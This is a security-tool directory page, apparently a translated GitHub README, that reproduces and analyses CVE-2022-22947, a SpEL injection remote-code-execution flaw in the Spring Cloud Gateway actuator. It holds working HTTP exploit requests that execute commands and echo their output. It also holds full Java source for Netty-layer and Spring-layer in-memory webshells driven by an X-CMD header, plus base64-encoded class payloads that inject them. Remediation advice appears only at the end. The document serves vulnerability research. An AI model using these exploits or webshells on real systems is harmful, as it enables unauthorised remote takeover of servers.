Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2022-22947-spring-cloud-gateway | Kitploit
Outils/GitHubGitHub/enokiy/cve-2022-22947-spring-cloud-gateway
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubenokiy/cve-2022-22947-spring-cloud-gateway

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

cve-2022-22947-spring-cloud-gateway

Voir le dépôt
181il y a 4 ansPas encore vérifié

漏洞简介

Spring Cloud Gateway 是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效的统一的API路由管理方式。 前段时间springCloud Gateway被爆致命RCE CVE ,cve信息显示当应用程序启用和暴露Spring Cloud Gateway的Gateway Actuator endpoint时,会受到远程代码注入攻击,攻击者发送恶意请求从而可远程执行任意代码。目前受影响的版本如下:

  • 3.1.0
  • 3.0.0 至 3.0.6
  • Older, unsupported versions are also affected

本次分析通过复现该CVE学习漏洞原理以及更进一步的利用方式。

环境搭建

使用如下依赖创建一个maven工程:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9

root@kitploit:~
Dans la configuration par défaut de spring boot, seul l'endpoint health est exposé au web, si vous devez exposer gateway, vous devez le configurer manuellement, voir [documentation officielle](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health

Envoyez le POC suivant :```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json

{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/35878/39233225aa6d08c3ff4f14f3071172786b11345cedade53e5737bd2327a1d4ae.png)

Puis envoyez ```POST /actuator/gateway/refresh``` pour actualiser les informations du cache de routage, ce qui déclenche le POC :

![](https://assets.kitploit.com/production/public/readmes/35878/e06c39a19eb0078362b53c7ca2f1b278dc403cc3054a0a23e3ff22c374871d31.png)

## Analyse du principe

En observant le POC ci-dessus, on voit d'abord qu'une route est ajoutée dynamiquement via ```POST /actuator/gateway/routes/test2```. Pendant l'ajout de la route, un filtre traite le paramètre d'entrée et peut analyser cette valeur comme une expression SpEL. Ensuite, lors de l'actualisation du cache de routage, le POC est déclenché et exécuté.
Examinons d'abord le mécanisme de configuration dynamique des routes de Spring Cloud Gateway.
### Configuration dynamique des routes
Spring Cloud Gateway prend en charge l'enregistrement des routes par code ou fichier de configuration, comme le montre la [démo](https://spring.io/guides/gs/gateway/) officielle :```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
    return builder.routes()
        .route(p -> p
            .path("/get")
            .filters(f -> f.addRequestHeader("Hello", "World"))
            .uri("http://httpbin.org:80"))
        .build();
}

La méthode pour les fichiers de configuration est similaire à celle du code:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1

root@kitploit:~
Les routes ajoutées de ces deux manières sont fixes. S'il est nécessaire d'ajouter, de modifier ou de supprimer des configurations et des règles de routage, il faut redémarrer l'application pour que les changements prennent effet. Toutefois, dans la pratique, Spring Cloud Gateway étant le point d'entrée de tout le trafic, il doit garantir une haute disponibilité du système. Ainsi, une fois Spring Cloud Gateway expose l'endpoint `/gateway`, il est possible d'ajouter, de modifier et de supprimer dynamiquement des informations de routage via `/gateway/routes`. Mais ces informations de routage ne sont stockées qu'en mémoire ; dès que le service redémarre, les nouvelles configurations de routage ajoutées sont perdues.

D'après le format d'enregistrement des routes ci-dessus, une information de route comprend l'URI cible, la collection de filters et la collection de predicates. Les predicates peuvent effectuer la correspondance de requêtes à partir de n'importe quel contenu d'une requête HTTP (en-têtes, paramètres). Spring Cloud Gateway fournit de nombreuses classes d'usine de route predicate intégrées, telles que Before, After, Between, Cookie, Header, Host, [Path, etc.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

![](https://assets.kitploit.com/production/public/readmes/35878/3cc2f4a5937db984a675ba2f6ff5845b19d6a36166709de5bfb694f1fa017101.png)

Les filters servent à modifier la requête ou la réponse avant ou après l'envoi de la requête. Il existe également de nombreuses collections de filters intégrés. Dans le payload déclenchant la RCE ci-dessus, nous avons utilisé le filter AddResponseHeader. D'autres filters incluent RewritePath, SetPath, etc. Il existe deux types de filters : l'un est le GlobalFilter, qui est effectif pour toutes les routes, l'autre est le GatewayFilter, qui n'est effectif que pour une seule route. Pour plus de détails, voir https://www.cnblogs.com/duanxz/p/14780675.html.

![](https://assets.kitploit.com/production/public/readmes/35878/fbabe62f51e3431325c9ee186366f9b7dbbcb0986ed62b77a027579107cdc84b.png),![](https://assets.kitploit.com/production/public/readmes/35878/4a0b7e2b6cfaa4cbbbbcb1887de3b805429feea3b36dd8ac34a1147fece7359b.png)

## Flux de requête
Alors, quel est le processus concret lorsqu'une requête arrive, passe par la passerelle et atteint le service proxyé (proxied service) en backend ? Voici le processus décrit dans la documentation officielle :

![](https://assets.kitploit.com/production/public/readmes/35878/687f60eb0e38895b1e44cd733860ac935e67c50925b9b935fe7e6a234a1e3756.png)

Le client envoie une requête à Spring Cloud Gateway, puis trouve dans le GateWay Handler Mapping la route correspondant à la requête, et l'envoie au GateWay Web Handler ; le Handler envoie ensuite la requête à notre service réel via la chaîne de filters spécifiée pour exécuter la logique métier, puis la réponse est renvoyée. Les filters sont séparés par des lignes pointillées car ils peuvent exécuter leur logique métier avant (pre) ou après (post) l'envoi de la requête proxyée.
RoutePredicateHandlerMapping recherche la route, puis c'est webHandler qui la traite :

![img.png](https://assets.kitploit.com/production/public/readmes/35878/d3c9c2d41e77a0f167c8d313fea969ad05ca5682517f361a07bb86781cb5e1d8.png)

Dans webHandler, on identifie les gatewayFilters et les globalFilters, puis on les trie en fonction de la valeur Order définie dans les filters pour former une filterchain, et on exécute tous les filters.
![img.png](https://assets.kitploit.com/production/public/readmes/35878/847e849b9f69c76a23a876c035d2bfe904e2279913f17281c588cf4de2e59e0b.png)

### Enregistrement dynamique des routes
Voyons maintenant en détail pourquoi l'ajout d'une route via l'endpoint de la passerelle déclenche l'exécution de SpEL.```POST /actuator/gateway/routes/{id}```添加路由时首先校验route定义中的filter和predicates,校验方式是检查filterName和predicatesName是否在已定义的filter集合和predicates集合内,校验通过之后将该路由信息保存到内存路由信息map中:

![](https://assets.kitploit.com/production/public/readmes/35878/c7e83d849825741efdd564d36c0bc876673d1fde611b8174116cb68fd9492f88.png)

![](https://assets.kitploit.com/production/public/readmes/35878/c40f80a0a1694413b800ccb1fc4d1a75df085ed76e105967e3eef271eb9deaa3.png)

![](https://assets.kitploit.com/production/public/readmes/35878/85223e97fc44260a9e73c6a29978750d89564bebf334de13e0e8e2f3f24b4adf.png)

然后刷新路由缓存时,经过如下的调用栈后在RouteDefinitionRouteLocator.convertToRoute()方法中分别解析route定义中的predicates和filter:
```text
at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator.convertToRoute(RouteDefinitionRouteLocator.java:116)
	  at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$883.729787591.apply(Unknown Source:-1)
	  ... // Mécanisme de publisher et subscriber de Spring WebFlux
	  at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:81)
	  at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:40)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:176)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:169)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:143)
	  at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:421)
	  at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:378)
	  at org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint.refresh(AbstractGatewayControllerEndpoint.java:96)```
![](https://assets.kitploit.com/production/public/readmes/35878/fa6e490bab006a647434c344f2342a526bae101655b69d733216c548539a40e2.png)


解析filter的过程中根据定义中的filterName获取到对应的GatewayFilterFactory,然后进入ConfigurationService将各属性键值绑定之前会先进行normalizedProperties处理,处理的过程中对value进行了spel解析后再进行绑定:

![](https://assets.kitploit.com/production/public/readmes/35878/1ea8c05303d36c7baca64972bf734a954ade62d0c0db72d1a78a2787a73bff1b.png)

![](https://assets.kitploit.com/production/public/readmes/35878/e4a4aa64c8379cf5ca8cb0cea1ec4fa4d61aa0e963fa7f5c378be6dcb49ed2cd.png)


在上面的整个过程中,保存路由信息的时候会校验route定义中的filter是否合法,合法才会把路由信息保存到内存map中,而且在刷新之后解析路由的时候也校验了是否能根据定义中的filterName获取到对应的GatewayFilterFactory,能获取到才进行属性键值绑定处理,所以漏洞触发可使用的filter就包括了已定义的所有合法filter:

![](https://assets.kitploit.com/production/public/readmes/35878/af1100875dc25fafcac80102f490acb7b94d2d3c249444721025132cdac6c745.png)

```text
0 = "SetPath"
1 = "RequestHeaderToRequestUri"
2 = "RequestHeaderSize"
3 = "RemoveRequestHeader"
4 = "RemoveRequestParameter"
5 = "ModifyRequestBody"
6 = "AddRequestParameter"
7 = "RewriteLocationResponseHeader"
8 = "MapRequestHeader"
9 = "DedupeResponseHeader"
10 = "PreserveHostHeader"
11 = "RewritePath"
12 = "SetStatus"
13 = "SetRequestHeader"
14 = "PrefixPath"
15 = "SetRequestHostHeader"
16 = "SaveSession"
17 = "StripPrefix"
18 = "ModifyResponseBody"
19 = "RequestSize"
20 = "RedirectTo"
21 = "SetResponseHeader"
22 = "SecureHeaders"
23 = "AddResponseHeader"
24 = "Retry"
25 = "AddRequestHeader"
26 = "RemoveResponseHeader"
27 = "RewriteResponseHeader"```

上面是利用filter触发漏洞的整体过程,我们看到路由定义中的predicates的处理过程跟filter是类似的,那么predicates是否也能触发漏洞呢?已定义的所有predicates集合是不是也都可以用呢?

把payload中的predicates换上payload试试:

![](https://assets.kitploit.com/production/public/readmes/35878/914e733f51484585973b42f88d2a119ffce41ed6a468ad7f4460217dd456b453.png)

也是能成功触发的,可以利用的predicates集合包括以下已定义的所有predicates:

![](https://assets.kitploit.com/production/public/readmes/35878/9ea4f6c3ac4380c1e09132a1346f4c48282db321620c134fcede884f34e0f220.png)

```text
0 = "After"
1 = "Before"
2 = "Between"
3 = "Cookie"
4 = "Header"
5 = "Host"
6 = "Method"
7 = "Path"
8 = "Query"
9 = "ReadBody"
10 = "RemoteAddr"
11 = "Weight"
12 = "CloudFoundryRouteService"```

综上,只要在添加路由的过程中使用的filters或者predicates的name值合法,当传入包含payload的spel表达式值时都可触发该漏洞。

## 漏洞利用

### 回显
上面的value经过spel解析之后的结果绑定到属性的value的时候,必须是String类型,上面提到的GatewayFilter中有一些是跟响应有关的如SetResponseHeader/AddResponseHeader等,所以可以利用这些响应相关的filter来完成利用后的回显:
```text
POST /actuator/gateway/routes/test4 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 422
Content-Type: application/json

{
  "id": "test3",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/test4"}
  }],
 "filters":[{
   "name": "AddResponseHeader",
   "args": {
     "name": "Result",
     "value": "#{T(java.util.Base64).getEncoder().encodeToString(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream().readAllBytes())}"
  }
}],
  "uri": "http://127.0.0.1:9999/test4",
"order": 0
}]```
![](https://assets.kitploit.com/production/public/readmes/35878/a54c441a7aa9112ce713354c3db41db85dc1e88db82d47f4368ac2dae6a5f570.png)

### 内存马
#### netty层内存马
以下内容参考了[这篇文章](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/)
常规中间件的内存马的构造思路:首先分析涉及处理请求的对象,通过它的源码看看是否能获取请求内容以及能否控制响应内容。然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即可。

spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。不像常规的中间件,filter/servlet/listener组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer(下面简称为configurer),因此注入netty内存马的关键是分析configurer如何被netty管理和工作的。最终netty层的内存马如下:
```java
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;

public class NettyMemShell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
    private ConnectionObserver connectionObserver;
    private Channel channel;
    private SocketAddress socketAddress;

    public static String doInject(){
        String msg = "inject-start";
        try {
            Method getThreads = Thread.class.getDeclaredMethod("getThreads");
            getThreads.setAccessible(true);
            Object threads = getThreads.invoke(null);

            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                    Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
                    _val$disposableServer.setAccessible(true);
                    Object val$disposableServer = _val$disposableServer.get(thread);
                    Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
                    _config.setAccessible(true);
                    Object config = _config.get(val$disposableServer);
                    Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
                    _doOnChannelInit.setAccessible(true);
                    _doOnChannelInit.set(config, new NettyMemShell());
                    msg = "inject-success";
                }
            }
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }

    @Override
    // Étape 1. En tant que ChannelPipelineConfigurer, enregistrer le Handler dans le pipeline
    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
        this.connectionObserver = connectionObserver;
        this.channel = channel;
        this.socketAddress = socketAddress;
        ChannelPipeline pipeline = channel.pipeline();
        // Ajouter le handler du memory shell devant le handler de la couche spring
        pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemShell());
    }


    @Override
    // Étape 2. En tant que Handler, traiter les requêtes et implémenter ici la logique fonctionnelle du memory shell
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        if(msg instanceof HttpRequest){
            HttpRequest httpRequest = (HttpRequest)msg;
            try {
                if(httpRequest.headers().contains("X-CMD")) {
                    String cmd = httpRequest.headers().get("X-CMD");
                    String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                    // Retourner le résultat de l'exécution
                    send(ctx, execResult, HttpResponseStatus.OK);
                    return;
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        ctx.fireChannelRead(msg);
    }


    private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
        FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
        response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
        ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
    }
}```

POC如下:
```text
POST /actuator/gateway/routes/test5 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 8243
Content-Type: application/json

{
  "id": "test5",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/test5"}
  }],
 "filters":[{
   "name": "AddResponseHeader",
   "args": {
     "name": "Result",
     "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcBFAoAQQB8CA...\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}"
  }
}],
  "uri": "http://127.0.0.1:9999/test5",
"order": 0
}]```
#### Spring层内存马

Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler类和它三个组件来完成
* org.springframework.web.reactive.HandlerMapping 路由匹配器
* org.springframework.web.reactive.HandlerAdapter handler适配器
* org.springframework.web.reactive.HandlerResultHandler 结果处理器

![](https://assets.kitploit.com/production/public/readmes/35878/f79dcc4fc63a60f8c62524ffb44a515c89eea263617f36f160957e6c0b953589.png)

基于这个流程,我们可以梳理出一个构造内存马的思路。让HandlerMapping注册一个映射关系,通过映射关系让特定的HandlerAdapter执行到我们的内存马流程,最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。最终利用RequestMappingHandlerMapping类形成的内存马如下:
```java
public class SpringRequestMappingMemshell {
    public static String doInject(Object requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
            registerHandlerMethod.setAccessible(true);
            Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
            PathPattern pathPattern = new PathPatternParser().parse("/*");
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
            registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
            msg = "inject-success";
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }

    public ResponseEntity executeCommand(String cmd) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}```
POC:
```text
POST /actuator/gateway/routes/test6 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 5148
Content-Type: application/json

{
  "id": "test6",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/test6"}
  }],
 "filters":[{
   "name": "AddResponseHeader",
   "args": {
     "name": "Result",
     "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcAigoABgBHCABICgAGAEkIADAHAEoHAEsHAEwHAE0KAAUATgoABwBPBwBQCAAyBwBRBwBSCgAOAEcIAFMKAA4AVAcAVQcAVgoAEgBXCABYCgAIAFkKAAsARwoABwBaCABbBwBcCABdBwBeCgBfAGAKAF8AYQoAYgBjCgAcAGQIAGUKABwAZgoAHABnBwBoCQBpAGoKACQAawEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAGwBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAnACgBAAxpbmplY3Qtc3RhcnQMAG0AbgEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAbwBwDABxAHIBABxTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsAQAQamF2YS9sYW5nL1N0cmluZwEANm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVyblBhcnNlcgEAAi8qDABzAHQBAEpvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVybgwAJwB1AQAADAAnAHYMAHcAeAEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEADGluamVjdC1lcnJvcgEAEWphdmEvdXRpbC9TY2FubmVyBwB5DAB6AHsMAHwAfQcAfgwAfwCADAAnAIEBAAJcQQwAggCDDACEAIUBACdvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHkHAIYMAIcAiAwAJwCJAQATamF2YS9pby9JT0V4Y2VwdGlvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAFcGFyc2UBAEYoTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQA2KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOylWAQIkKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAjb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXMBAAJPSwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czsBADooTGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOylWACEACwAGAAAAAAADAAEAJwAoAAEAKQAAAC8AAQABAAAABSq3AAGxAAAAAgAqAAAABgABAAAADwArAAAADAABAAAABQAsAC0AAAAJAC4ALwABACkAAAFTAAoABwAAAJISAkwqtgADEgQGvQAFWQMSBlNZBBIHU1kFEghTtgAJTSwEtgAKEgsSDAS9AAVZAxINU7YACU67AA5ZtwAPEhC2ABE6BLsAElkEvQATWQMZBFO3ABQ6BbsACFkSFRkFAQEBAQEBtwAWOgYsKga9AAZZA7sAC1m3ABdTWQQtU1kFGQZTtgAYVxIZTKcAB00SG0wrsAABAAMAiQCMABoAAwAqAAAANgANAAAAEQADABMAIAAUACUAFQA2ABYARAAXAFYAGABpABkAhgAaAIkAHQCMABsAjQAcAJAAHgArAAAAUgAIACAAaQAwADEAAgA2AFMAMgAxAAMARABFADMANAAEAFYAMwA1ADYABQBpACAANwA4AAYAjQADADkAOgACAAAAkgA7ADwAAAADAI8APQA+AAEAPwAAABMAAv8AjAACBwAGBwANAAEHABoDAAEAMgBAAAIAKQAAAGgABAADAAAAJrsAHFm4AB0rtgAetgAftwAgEiG2ACK2ACNNuwAkWSyyACW3ACawAAAAAgAqAAAACgACAAAAIgAaACMAKwAAACAAAwAAACYALAAtAAAAAAAmAEEAPgABABoADABCAD4AAgBDAAAABAABAEQAAQBFAAAAAgBG\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}"
  }
}],
  "uri": "http://127.0.0.1:9999/test6",
"order": 0
}]```
其中的requestMappingHandlerMapping的获取方式比较巧妙,直接从SPEL上下文的beanFactory中获取:
![requestMappingHandlerMapping](https://assets.kitploit.com/production/public/readmes/35878/f03c95da212a61728609ae5cda2432f7beb25e8dd00d325b93a4609ec9bc1d5e.png)

## 漏洞修复
* 如果可以的话关闭Actuator gateway的暴露,这样至少只要不是能控制配置文件,就能避免远程代码执行(通过配置文件注册的路由也会走到上面spel解析的地方);
* 升级版本(官方修复方式:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e )































2.x 与 3.x 版本的区别
在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable 接口的 getValue 方法中使用了 StandardEvaluationContext 类来执行 SpEL 表达式。

第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。

